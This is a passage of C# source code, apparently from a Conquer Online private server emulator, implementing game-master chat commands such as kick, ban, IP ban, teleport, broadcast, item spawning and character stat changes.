781 | client.Entity.RemoveFlag2(remFlag); | |
782 | } | |
783 | else | |
784 | { | |
785 | client.Entity.AddFlag3((uint)addFlag); | |
786 | client.Entity.RemoveFlag3((uint)remFlag); | |
787 | } | |
788 | break; | |
789 | } | |
790 | case "invisible": | |
791 | Console.WriteLine("Hammy"); | |
792 | break; | |
793 | case "reloadmobs": | |
794 | { | |
795 | client.Map.FreezeMonsters = true; | |
796 | var Clone = client.Map.Entities.Values.ToArray(); | |
797 | foreach (var mob in Clone) | |
798 | if (!mob.Companion) | |
799 | { | |
800 | client.Map.Floor[mob.X, mob.Y, Conquer_Online_Server.Game.MapObjectType.Monster, mob] = true; | |
801 | client.Map.Entities.Remove(mob.UID); | |
802 | } | |
803 | Clone = new Game.Entity[0]; | |
804 | client.Map.EntityUIDCounter.Now = 400000; | |
805 | client.Map.LoadMonsters(); | |
806 | client.Map.FreezeMonsters = false; | |
807 | foreach (Client.GameClient Client in Program.GamePool) | |
808 | { | |
809 | if (Client.Map.ID == client.Map.ID) | |
810 | { | |
811 | Client.Entity.Teleport(Client.Entity.MapID, Client.Entity.X, Client.Entity.Y); | |
812 | } | |
813 | } | |
814 | break; | |
815 | } | |
816 | case "mobmesh": | |
817 | { | |
818 | client.Entity.Body = ushort.Parse(Data[1]); | |
819 | break; | |
820 | } | |
821 | case "trace": | |
822 | { | |
823 | foreach (var pClient in Program.GamePool) | |
824 | { | |
825 | string name = pClient.Entity.LoweredName; | |
826 | if (name.Contains(Data[1])) | |
827 | { | |
828 | client.Entity.Teleport(pClient.Entity.MapID, pClient.Entity.X, pClient.Entity.Y); | |
829 | } | |
830 | } | |
831 | break; | |
832 | } | |
833 | case "bring": | |
834 | { | |
835 | foreach (var pClient in Program.GamePool) | |
836 | { | |
837 | if (pClient.Entity.LoweredName.Contains(Data[1]) || Data[1].ToLower() == "all") | |
838 | if (Data[1].ToLower() == "all") | |
839 | { | |
840 | pClient.Entity.Teleport(client.Entity.MapID, | |
841 | (ushort)Kernel.Random.Next(client.Entity.X - 5, client.Entity.X + 5), | |
842 | (ushort)Kernel.Random.Next(client.Entity.Y - 5, client.Entity.Y + 5)); | |
843 | } | |
844 | else | |
845 | pClient.Entity.Teleport(client.Entity.MapID, client.Entity.X, client.Entity.Y); | |
846 | ||
847 | } | |
848 | break; | |
849 | } | |
850 | case "restart": | |
851 | { | |
852 | Program.CommandsAI("@restart"); | |
853 | break; | |
854 | } | |
855 | case "kick": | |
856 | { | |
857 | foreach (var Client in Program.GamePool) | |
858 | { | |
859 | if (Client.Entity.LoweredName.Contains(Data[1])) | |
860 | { | |
861 | Client.Disconnect(); | |
862 | break; | |
863 | } | |
864 | } | |
865 | break; | |
866 | } | |
867 | case "ban": | |
868 | { | |
869 | foreach (var Client in Program.GamePool) | |
870 | { | |
871 | if (Client.Account.State >= client.Account.State) | |
872 | continue; | |
873 | if (Client.Entity.LoweredName.Contains(Data[1])) | |
874 | { | |
875 | Client.Account.State = Database.AccountTable.AccountState.Banned; | |
876 | Client.Account.SaveState(); | |
877 | ||
878 | Client["banhours"] = Data[2].Cast<int>(); | |
879 | Client["banreason"] = message_.Substring(Data[0].Length + 1 + Data[1].Length + 1 + Data[2].Length + 1); | |
880 | Client["banstamp"] = DateTime.Now; | |
881 | ||
882 | Client.Disconnect(); | |
883 | Kernel.SendWorldMessage(new Message(client.Account.State.ToString() + " " + client.Entity.Name + " has banned the player " + Client.Entity.Name, GamePackets.Message.Center)); | |
884 | break; | |
885 | } | |
886 | } | |
887 | break; | |
888 | } | |
889 | case "unban": | |
890 | { | |
891 | var Account = new Database.AccountTable(Data[1]); | |
892 | if (Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.Banned) | |
893 | { | |
894 | Account.State = Conquer_Online_Server.Database.AccountTable.AccountState.Player; | |
895 | Account.SaveState(); | |
896 | //Account.Savekimo(); | |
897 | } | |
898 | break; | |
899 | } | |
900 | case "banip": | |
901 | { | |
902 | string bannedIP = ""; | |
903 | foreach (var Client in Program.GamePool) | |
904 | { | |
905 | if (Client.Account.State >= client.Account.State) | |
906 | continue; | |
907 | if (Client.Entity.LoweredName.Contains(Data[1])) | |
908 | { | |
909 | bannedIP = Client.Account.IP; | |
910 | Client.Account.State = Database.AccountTable.AccountState.Banned; | |
911 | Client.Account.SaveState(); | |
912 | Database.IPBan.Ban(Client.Account.IP); | |
913 | Client.Disconnect(); | |
914 | break; | |
915 | } | |
916 | } | |
917 | if (bannedIP == "") | |
918 | Kernel.SendWorldMessage(new Message(client.Account.State.ToString() + " " + client.Entity.Name + " has banned the IP: " + bannedIP, GamePackets.Message.Center)); | |
919 | foreach (var Client in Program.GamePool) | |
920 | { | |
921 | if (Client.Account.State >= client.Account.State) | |
922 | continue; | |
923 | if (Client.Account.IP == bannedIP) | |
924 | { | |
925 | Client.Account.State = Database.AccountTable.AccountState.Banned; | |
926 | Client.Account.SaveState(); | |
927 | Client.Disconnect(); | |
928 | } | |
929 | } | |
930 | break; | |
931 | } | |
932 | case "unbanip": | |
933 | { | |
934 | Database.IPBan.Unban(Data[1]); | |
935 | break; | |
936 | } | |
937 | case "chatban": | |
938 | { | |
939 | foreach (var Client in Program.GamePool) | |
940 | { | |
941 | if (Client.Entity.Name.Contains(Data[1])) | |
942 | { | |
943 | Client.ChatBanLasts = uint.Parse(Data[2]); | |
944 | Client.ChatBanTime = DateTime.Now; | |
945 | Client.ChatBanned = true; | |
946 | } | |
947 | } | |
948 | break; | |
949 | } | |
950 | case "increaseexp": | |
951 | { | |
952 | client.IncreaseExperience(ulong.Parse(Data[1]), true); | |
953 | break; | |
954 | } | |
955 | case "chatunban": | |
956 | { | |
957 | foreach (var Client in Program.GamePool) | |
958 | { | |
959 | if (Client.Entity.Name.Contains(Data[1])) | |
960 | { | |
961 | Client.ChatBanned = false; | |
962 | } | |
963 | } | |
964 | break; | |
965 | } | |
966 | case "bc": | |
967 | { | |
968 | Game.ConquerStructures.Broadcast.Broadcasts.Clear(); | |
969 | Game.ConquerStructures.Broadcast.BroadcastStr broadcast = new Conquer_Online_Server.Game.ConquerStructures.Broadcast.BroadcastStr(); | |
970 | broadcast.EntityID = client.Entity.UID; | |
971 | broadcast.EntityName = client.Entity.Name; | |
972 | broadcast.ID = Game.ConquerStructures.Broadcast.BroadcastCounter.Next; | |
973 | broadcast.Message = message_.Remove(0, 2); | |
974 | Kernel.SendWorldMessage(new Message(message_.Remove(0, 2), "ALLUSERS", client.Entity.Name, System.Drawing.Color.Red, GamePackets.Message.BroadcastMessage), Program.GamePool); | |
975 | Game.ConquerStructures.Broadcast.CurrentBroadcast.EntityID = 1; | |
976 | Game.ConquerStructures.Broadcast.CurrentBroadcast = broadcast; | |
977 | break; | |
978 | } | |
979 | case "broadcast": | |
980 | { | |
981 | Game.ConquerStructures.Broadcast.Broadcasts.Clear(); | |
982 | Game.ConquerStructures.Broadcast.BroadcastStr broadcast = new Conquer_Online_Server.Game.ConquerStructures.Broadcast.BroadcastStr(); | |
983 | broadcast.EntityID = client.Entity.UID; | |
984 | broadcast.EntityName = client.Entity.Name; | |
985 | broadcast.ID = Game.ConquerStructures.Broadcast.BroadcastCounter.Next; | |
986 | broadcast.Message = message_.Remove(0, 9); | |
987 | Kernel.SendWorldMessage(new Message(message_.Remove(0, 9), "ALLUSERS", client.Entity.Name, System.Drawing.Color.Red, GamePackets.Message.BroadcastMessage), Program.GamePool); | |
988 | Game.ConquerStructures.Broadcast.CurrentBroadcast.EntityID = 1; | |
989 | Game.ConquerStructures.Broadcast.CurrentBroadcast = broadcast; | |
990 | break; | |
991 | } | |
992 | case "ann": | |
993 | { | |
994 | Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 3), System.Drawing.Color.Red, Network.GamePackets.Message.Center), Program.GamePool); | |
995 | Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 3), System.Drawing.Color.Red, Network.GamePackets.Message.World), Program.GamePool); | |
996 | break; | |
997 | } | |
998 | case "announce": | |
999 | { | |
1000 | Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 8), System.Drawing.Color.Red, Network.GamePackets.Message.Center), Program.GamePool); | |
1001 | Kernel.SendWorldMessage(new Message("[Announce] by " + client.Entity.Name + ": " + Mess.Remove(0, 8), System.Drawing.Color.Red, Network.GamePackets.Message.World), Program.GamePool); | |
1002 | break; | |
1003 | } | |
1004 | case "arenapoints": | |
1005 | { | |
1006 | client.ArenaStatistic.ArenaPoints = uint.Parse(Data[1]); | |
1007 | client.ArenaStatistic.Send(client); | |
1008 | break; | |
1009 | } | |
1010 | case "record": | |
1011 | { | |
1012 | if (client.Account.State != Database.AccountTable.AccountState.ProjectManager) | |
1013 | break; | |
1014 | switch (Data[1]) | |
1015 | { | |
1016 | case "on": client.Entity.Mode = Game.Enums.Mode.Recording; break; | |
1017 | case "off": Program.CommandsAI("/saverecord"); break; | |
1018 | } break; | |
1019 | } | |
1020 | case "clearinventory": | |
1021 | { | |
1022 | ConquerItem[] inventory = new ConquerItem[client.Inventory.Objects.Length]; | |
1023 | client.Inventory.Objects.CopyTo(inventory, 0); | |
1024 | ||
1025 | foreach (ConquerItem item in inventory) | |
1026 | { | |
1027 | client.Inventory.Remove(item, Conquer_Online_Server.Game.Enums.ItemUse.Remove); | |
1028 | } | |
1029 | break; | |
1030 | } | |
1031 | case "online": | |
1032 | { | |
1033 | client.Send(new Message("Online players count: " + Kernel.GamePool.Count, System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1034 | string line = ""; | |
1035 | foreach (Client.GameClient pClient in Program.GamePool) | |
1036 | line += pClient.Entity.Name + ","; | |
1037 | ||
1038 | if (line.Length >= 255) | |
1039 | return true; | |
1040 | client.Send(new GamePackets.Message(line, System.Drawing.Color.Beige, GamePackets.Message.Talk)); | |
1041 | break; | |
1042 | } | |
1043 | case "reallot": | |
1044 | { | |
1045 | if (client.Entity.Reborn != 0) | |
1046 | { | |
1047 | client.Entity.Agility = 0; | |
1048 | client.Entity.Strength = 0; | |
1049 | client.Entity.Vitality = 1; | |
1050 | client.Entity.Spirit = 0; | |
1051 | if (client.Entity.Reborn == 1) | |
1052 | { | |
1053 | client.Entity.Atributes = (ushort)(client.ExtraAtributePoints(client.Entity.FirstRebornLevel, client.Entity.FirstRebornLevel) | |
1054 | + 52 + 3 * (client.Entity.Level - 15)); | |
1055 | } | |
1056 | else | |
1057 | { | |
1058 | client.Entity.Atributes = (ushort)(client.ExtraAtributePoints(client.Entity.FirstRebornLevel, client.Entity.FirstRebornClass) + | |
1059 | client.ExtraAtributePoints(client.Entity.SecondRebornLevel, client.Entity.SecondRebornClass) + 52 + 3 * (client.Entity.Level - 15)); | |
1060 | } | |
1061 | client.CalculateStatBonus(); | |
1062 | client.CalculateHPBonus(); | |
1063 | } | |
1064 | break; | |
1065 | } | |
1066 | case "str": | |
1067 | { | |
1068 | ushort atr = 0; | |
1069 | ushort.TryParse(Data[1], out atr); | |
1070 | if (client.Entity.Atributes >= atr) | |
1071 | { | |
1072 | client.Entity.Strength += atr; | |
1073 | client.Entity.Atributes -= atr; | |
1074 | client.CalculateStatBonus(); | |
1075 | client.CalculateHPBonus(); | |
1076 | } | |
1077 | break; | |
1078 | } | |
1079 | case "agi": | |
1080 | { | |
1081 | ushort atr = 0; | |
1082 | ushort.TryParse(Data[1], out atr); | |
1083 | if (client.Entity.Atributes >= atr) | |
1084 | { | |
1085 | client.Entity.Agility += atr; | |
1086 | client.Entity.Atributes -= atr; | |
1087 | client.CalculateStatBonus(); | |
1088 | client.CalculateHPBonus(); | |
1089 | } | |
1090 | break; | |
1091 | } | |
1092 | case "vit": | |
1093 | { | |
1094 | ushort atr = 0; | |
1095 | ushort.TryParse(Data[1], out atr); | |
1096 | if (client.Entity.Atributes >= atr) | |
1097 | { | |
1098 | client.Entity.Vitality += atr; | |
1099 | client.Entity.Atributes -= atr; | |
1100 | client.CalculateStatBonus(); | |
1101 | client.CalculateHPBonus(); | |
1102 | } | |
1103 | break; | |
1104 | } | |
1105 | case "spi": | |
1106 | { | |
1107 | ushort atr = 0; | |
1108 | ushort.TryParse(Data[1], out atr); | |
1109 | if (client.Entity.Atributes >= atr) | |
1110 | { | |
1111 | client.Entity.Spirit += atr; | |
1112 | client.Entity.Atributes -= atr; | |
1113 | client.CalculateStatBonus(); | |
1114 | client.CalculateHPBonus(); | |
1115 | } | |
1116 | break; | |
1117 | } | |
1118 | case "reborns": | |
1119 | { | |
1120 | client.Entity.Reborn = byte.Parse(Data[1]); | |
1121 | break; | |
1122 | } | |
1123 | case "reborn": | |
1124 | { | |
1125 | if (client.Entity.Reborn < 2) | |
1126 | { | |
1127 | if (client.Entity.Class % 10 == 5) | |
1128 | { | |
1129 | if (client.Entity.Class != 15 && | |
1130 | client.Entity.Class != 25 && | |
1131 | client.Entity.Class != 45 && | |
1132 | client.Entity.Class != 55 && | |
1133 | client.Entity.Class != 65 && | |
1134 | client.Entity.Class != 75 && | |
1135 | client.Entity.Class != 135 && | |
1136 | client.Entity.Class != 145) | |
1137 | { | |
1138 | client.Send(new Message("You need to be an existing class.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1139 | } | |
1140 | else | |
1141 | { | |
1142 | byte newclass = 10; | |
1143 | byte.TryParse(Data[1], out newclass); | |
1144 | if (newclass != 11 && | |
1145 | newclass != 21 && | |
1146 | newclass != 41 && | |
1147 | newclass != 51 && | |
1148 | newclass != 61 && | |
1149 | newclass != 71 && | |
1150 | newclass != 132 && | |
1151 | newclass != 142) | |
1152 | { | |
1153 | client.Send(new Message("You need to reborn into an existing class. For fire class = 142 and for waters class = 132.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1154 | } | |
1155 | else | |
1156 | { | |
1157 | if (!client.Reborn(newclass)) | |
1158 | client.Send(new Message("You need atleast 2 spaces in your inventory.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1159 | } | |
1160 | } | |
1161 | } | |
1162 | else | |
1163 | client.Send(new Message("You need to be a master to be able to reborn.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1164 | } | |
1165 | else | |
1166 | client.Send(new Message("You can't reborn any more.", System.Drawing.Color.BurlyWood, GamePackets.Message.TopLeft)); | |
1167 | break; | |
1168 | } | |
1169 | case "egw": | |
1170 | { | |
1171 | if (Game.EliteGuildWar.IsWar) | |
1172 | { | |
1173 | Game.EliteGuildWar.IsWar = false; | |
1174 | Kernel.SendWorldMessage(new Message("EliteGuild War is off!", Color.Red, 2011), Program.GamePool); | |
1175 | } | |
1176 | else | |
1177 | { | |
1178 | ||
1179 | Game.EliteGuildWar.IsWar = true; | |
1180 | Kernel.SendWorldMessage(new Message("Eliteguild War is on!", Color.Red, 2011), Program.GamePool); | |
1181 | } | |
1182 | break; | |
1183 | } | |
1184 | case "dc": | |
1185 | { | |
1186 | client.Disconnect(); | |
1187 | break; | |
1188 | } | |
1189 | case "prof": | |
1190 | { | |
1191 | Interfaces.IProf proficiency = new GamePackets.Proficiency(true); | |
1192 | if (Data.Length > 1) | |
1193 | proficiency.ID = ushort.Parse(Data[1]); | |
1194 | if (Data.Length > 2) | |
1195 | proficiency.Level = byte.Parse(Data[2]); | |
1196 | if (Data.Length > 3) | |
1197 | proficiency.Experience = uint.Parse(Data[3]); | |
1198 | client.AddProficiency(proficiency); | |
1199 | break; | |
1200 | } | |
1201 | case "spell": | |
1202 | { | |
1203 | Interfaces.ISkill spell = new GamePackets.Spell(true); | |
1204 | if (Data.Length > 1) | |
1205 | spell.ID = ushort.Parse(Data[1]); | |
1206 | if (Data.Length > 2) | |
1207 | spell.Level = byte.Parse(Data[2]); | |
1208 | if (Data.Length > 3) | |
1209 | spell.Experience = uint.Parse(Data[3]); | |
1210 | client.AddSpell(spell); | |
1211 | break; | |
1212 | } | |
1213 | ||
1214 | case "level": | |
1215 | { | |
1216 | byte level = client.Entity.Level; | |
1217 | byte.TryParse(Data[1], out level); | |
1218 | level = Math.Min((byte)140, Math.Max((byte)1, level)); | |
1219 | client.Entity.Level = level; | |
1220 | client.Entity.Experience = 0; | |
1221 | //if (client.Entity.Reborn == 0) | |
1222 | { | |
1223 | Database.DataHolder.GetStats(client.Entity.Class, level, client); | |
1224 | client.CalculateStatBonus(); | |
1225 | client.CalculateHPBonus(); | |
1226 | client.GemAlgorithm(); | |
1227 | } | |
1228 | break; | |
1229 | } | |
1230 | case "class": | |
1231 | { | |
1232 | byte _class = client.Entity.Class; | |
1233 | byte.TryParse(Data[1], out _class); | |
1234 | _class = Math.Min((byte)145, Math.Max((byte)1, _class)); | |
1235 | client.Entity.Class = _class; | |
1236 | if (client.Entity.Reborn == 0) | |
1237 | { | |
1238 | Database.DataHolder.GetStats(_class, client.Entity.Level, client); | |
1239 | client.CalculateStatBonus(); | |
1240 | client.CalculateHPBonus(); | |
1241 | client.GemAlgorithm(); | |
1242 | } | |
1243 | break; | |
1244 | } | |
1245 | case "body": | |
1246 | { | |
1247 | ushort body = client.Entity.Body; | |
1248 | ushort.TryParse(Data[1], out body); | |
1249 | if (body != 2001 && body != 2002 && body != 1003 && body != 1004) | |
1250 | return true; | |
1251 | byte realgender = (byte)(client.Entity.Body % 10); | |
1252 | byte gender = (byte)(body % 10); | |
1253 | if (client.Equipment.Objects[8] != null) | |
1254 | if (gender >= 3 && realgender <= 2) | |
1255 | return true; | |
1256 | client.Entity.Body = body; | |
1257 | if (gender >= 3 && realgender <= 2) | |
1258 | client.Entity.Face -= 200; | |
1259 | if (gender <= 2 && realgender >= 3) | |
1260 | client.Entity.Face += 200; | |
1261 | break; | |
1262 | } | |
1263 | case "hair": | |
1264 | { | |
1265 | ushort hair = client.Entity.HairStyle; | |
1266 | ushort.TryParse(Data[1], out hair); | |
1267 | client.Entity.HairStyle = hair; | |
1268 | break; | |
1269 | } | |
1270 | case "map": | |
1271 | { | |
1272 | client.Send(new Message("Map: " + client.Map.ID, System.Drawing.Color.Blue, GamePackets.Message.TopLeft)); | |
1273 | break; | |
1274 | } | |
1275 | case "inv": | |
1276 | { | |
1277 | if (client.Entity.Invisable) | |
1278 | { | |
1279 | client.Entity.Invisable = false; | |
1280 | client.SendScreenSpawn(client.Entity, true); | |
1281 | } | |
1282 | else | |
1283 | { | |
1284 | client.Entity.Invisable = true; | |
1285 | client.RemoveScreenSpawn(client.Entity, true); | |
1286 | } | |
1287 | break; | |
1288 | } | |
1289 | case "tele": | |
1290 | { | |
1291 | if (Data.Length > 3) | |
1292 | { | |
1293 | client.Entity.Teleport(ushort.Parse(Data[1]), ushort.Parse(Data[2]), ushort.Parse(Data[3])); | |
1294 | } | |
1295 | break; | |
1296 | } | |
1297 | case "tele2": | |
1298 | { | |
1299 | if (Data.Length > 3) | |
1300 | { | |
1301 | client.Entity.TeleportHouse(ushort.Parse(Data[1]), ushort.Parse(Data[2]), ushort.Parse(Data[3])); | |
1302 | } | |
1303 | break; | |
1304 | } | |
1305 | case "transform": | |
1306 | { | |
1307 | if (client.Entity.Dead) | |
1308 | break; | |
1309 | bool wasTransformated = client.Entity.Transformed; | |
1310 | if (wasTransformated) | |
1311 | { | |
1312 | client.Entity.Hitpoints = client.Entity.MaxHitpoints; | |
1313 | client.Entity.TransformationID = 0; | |
1314 | client.Entity.TransformationStamp = Time32.Now; | |
1315 | return true; | |
1316 | } | |
1317 | ushort transformation = client.Entity.TransformationID; | |
1318 | ushort.TryParse(Data[1], out transformation); | |
1319 | client.Entity.TransformationID = transformation; | |
1320 | client.Entity.TransformationStamp = Time32.Now; | |
1321 | client.Entity.TransformationTime = 110; | |
1322 | SpellUse spellUse = new SpellUse(true); | |
1323 | spellUse.Attacker = client.Entity.UID; | |
1324 | spellUse.SpellID = 1360; | |
1325 | spellUse.SpellLevel = 4; | |
1326 | spellUse.X = client.Entity.X; | |
1327 | spellUse.Y = client.Entity.Y; | |
1328 | spellUse.AddTarget(client.Entity.UID, (uint)0, null); | |
1329 | client.Send(spellUse); | |
1330 | client.Entity.TransformationMaxHP = 3000; | |
1331 | double maxHP = client.Entity.MaxHitpoints; | |
1332 | double HP = client.Entity.Hitpoints; | |
1333 | double point = HP / maxHP; | |
1334 | ||
1335 | client.Entity.Hitpoints = (uint)(client.Entity.TransformationMaxHP * point); | |
1336 | client.Entity.Update(Update.MaxHitpoints, client.Entity.TransformationMaxHP, false); | |
1337 | break; | |
1338 | } | |
1339 | case "item2": | |
1340 | { | |
1341 | ||
1342 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
1343 | newItem.ID = uint.Parse(Data[1]); | |
1344 | if (Data.Length > 2) | |
1345 | { | |
1346 | byte plus = 0; | |
1347 | byte.TryParse(Data[2], out plus); | |
1348 | newItem.Plus = Math.Min((byte)12, plus); | |
1349 | if (Data.Length > 3) | |
1350 | { | |
1351 | byte bless = 0; | |
1352 | byte.TryParse(Data[3], out bless); | |
1353 | newItem.Bless = Math.Min((byte)7, bless); | |
1354 | if (Data.Length > 4) | |
1355 | { | |
1356 | byte ench = 0; | |
1357 | byte.TryParse(Data[4], out ench); | |
1358 | newItem.Enchant = Math.Min((byte)255, ench); | |
1359 | if (Data.Length > 5) | |
1360 | { | |
1361 | byte soc1 = 0; | |
1362 | byte.TryParse(Data[5], out soc1); | |
1363 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1)) | |
1364 | { | |
1365 | newItem.SocketOne = (Game.Enums.Gem)soc1; | |
1366 | } | |
1367 | if (Data.Length > 6) | |
1368 | { | |
1369 | byte soc2 = 0; | |
1370 | byte.TryParse(Data[6], out soc2); | |
1371 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2)) | |
1372 | { | |
1373 | newItem.SocketTwo = (Game.Enums.Gem)soc2; | |
1374 | } | |
1375 | } | |
1376 | if (Data.Length > 9) | |
1377 | { | |
1378 | byte R = 0, G = 0, B = 0; | |
1379 | byte.TryParse(Data[7], out R); | |
1380 | byte.TryParse(Data[8], out G); | |
1381 | byte.TryParse(Data[9], out B); | |
1382 | newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16)); | |
1383 | } | |
1384 | } | |
1385 | } | |
1386 | } | |
1387 | } | |
1388 | newItem.Durability = 60; | |
1389 | newItem.MaximDurability = 60; | |
1390 | newItem.Color = (Game.Enums.Color)Kernel.Random.Next(4, 8); | |
1391 | client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
1392 | break; | |
1393 | } | |
1394 | case "item": | |
1395 | { | |
1396 | if (Data.Length > 2) | |
1397 | { | |
1398 | string ItemName = Data[1].ToLower(); | |
1399 | Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed; | |
1400 | switch (Data[2].ToLower()) | |
1401 | { | |
1402 | case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break; | |
1403 | case "normal": Quality = Game.Enums.ItemQuality.Normal; break; | |
1404 | case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break; | |
1405 | case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break; | |
1406 | case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break; | |
1407 | case "refined": Quality = Game.Enums.ItemQuality.Refined; break; | |
1408 | case "unique": Quality = Game.Enums.ItemQuality.Unique; break; | |
1409 | case "elite": Quality = Game.Enums.ItemQuality.Elite; break; | |
1410 | case "super": Quality = Game.Enums.ItemQuality.Super; break; | |
1411 | case "other": Quality = Game.Enums.ItemQuality.Other; break; | |
1412 | default: | |
1413 | { | |
1414 | Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[2]); | |
1415 | break; | |
1416 | } | |
1417 | } | |
1418 | Database.ConquerItemBaseInformation CIBI = null; | |
1419 | foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values) | |
1420 | { | |
1421 | //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10)) | |
1422 | { | |
1423 | CIBI = infos; | |
1424 | } | |
1425 | } | |
1426 | if (CIBI == null) | |
1427 | break; | |
1428 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
1429 | newItem.ID = CIBI.ID; | |
1430 | newItem.Durability = CIBI.Durability; | |
1431 | newItem.MaximDurability = CIBI.Durability; | |
1432 | if (Data.Length > 3) | |
1433 | { | |
1434 | byte plus = 0; | |
1435 | byte.TryParse(Data[3], out plus); | |
1436 | newItem.Plus = Math.Min((byte)12, plus); | |
1437 | if (Data.Length > 4) | |
1438 | { | |
1439 | byte bless = 0; | |
1440 | byte.TryParse(Data[4], out bless); | |
1441 | newItem.Bless = Math.Min((byte)7, bless); | |
1442 | if (Data.Length > 5) | |
1443 | { | |
1444 | byte ench = 0; | |
1445 | byte.TryParse(Data[5], out ench); | |
1446 | newItem.Enchant = Math.Min((byte)255, ench); | |
1447 | if (Data.Length > 6) | |
1448 | { | |
1449 | byte soc1 = 0; | |
1450 | byte.TryParse(Data[6], out soc1); | |
1451 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1)) | |
1452 | { | |
1453 | newItem.SocketOne = (Game.Enums.Gem)soc1; | |
1454 | } | |
1455 | if (Data.Length > 7) | |
1456 | { | |
1457 | byte soc2 = 0; | |
1458 | byte.TryParse(Data[7], out soc2); | |
1459 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2)) | |
1460 | { | |
1461 | newItem.SocketTwo = (Game.Enums.Gem)soc2; | |
1462 | } | |
1463 | } | |
1464 | if (Data.Length > 10) | |
1465 | { | |
1466 | byte R = 0, G = 0, B = 0; | |
1467 | byte.TryParse(Data[8], out R); | |
1468 | byte.TryParse(Data[9], out G); | |
1469 | byte.TryParse(Data[10], out B); | |
1470 | newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16)); | |
1471 | } | |
1472 | } | |
1473 | } | |
1474 | } | |
1475 | } | |
1476 | newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8); | |
1477 | if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster) | |
1478 | newItem.Bound = true; | |
1479 | client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
1480 | } | |
1481 | break; | |
1482 | } | |
1483 | case "vend": | |
1484 | { | |
1485 | if (client.Entity.VIPLevel < 6) | |
1486 | { | |
1487 | client.Send("You need to be VIP 6 to use @vend"); | |
1488 | return true; | |
1489 | } | |
1490 | client.Send(new MapStatus() { BaseID = client.Map.BaseID, ID = client.Map.ID, Status = Database.MapsTable.MapInformations[1036].Status }); | |
1491 | client.Booth = new Game.ConquerStructures.Booth(client, new Data(true) { UID = client.Entity.UID }); | |
1492 | client.Send(new Data(true) { ID = GamePackets.Data.ChangeAction, UID = client.Entity.UID, dwParam = 0 }); | |
1493 | break; | |
1494 | } | |
1495 | } | |
1496 | return true; | |
1497 | } | |
1498 | #endregion | |
1499 | ||
1500 | return true; | |
1501 | } | |
1502 | return false; | |
1503 | } | |
1504 | catch { client.Send(new Message("Impossible to handle this command. Check your syntax.", System.Drawing.Color.BurlyWood, Message.TopLeft)); return false; } | |
1505 | } |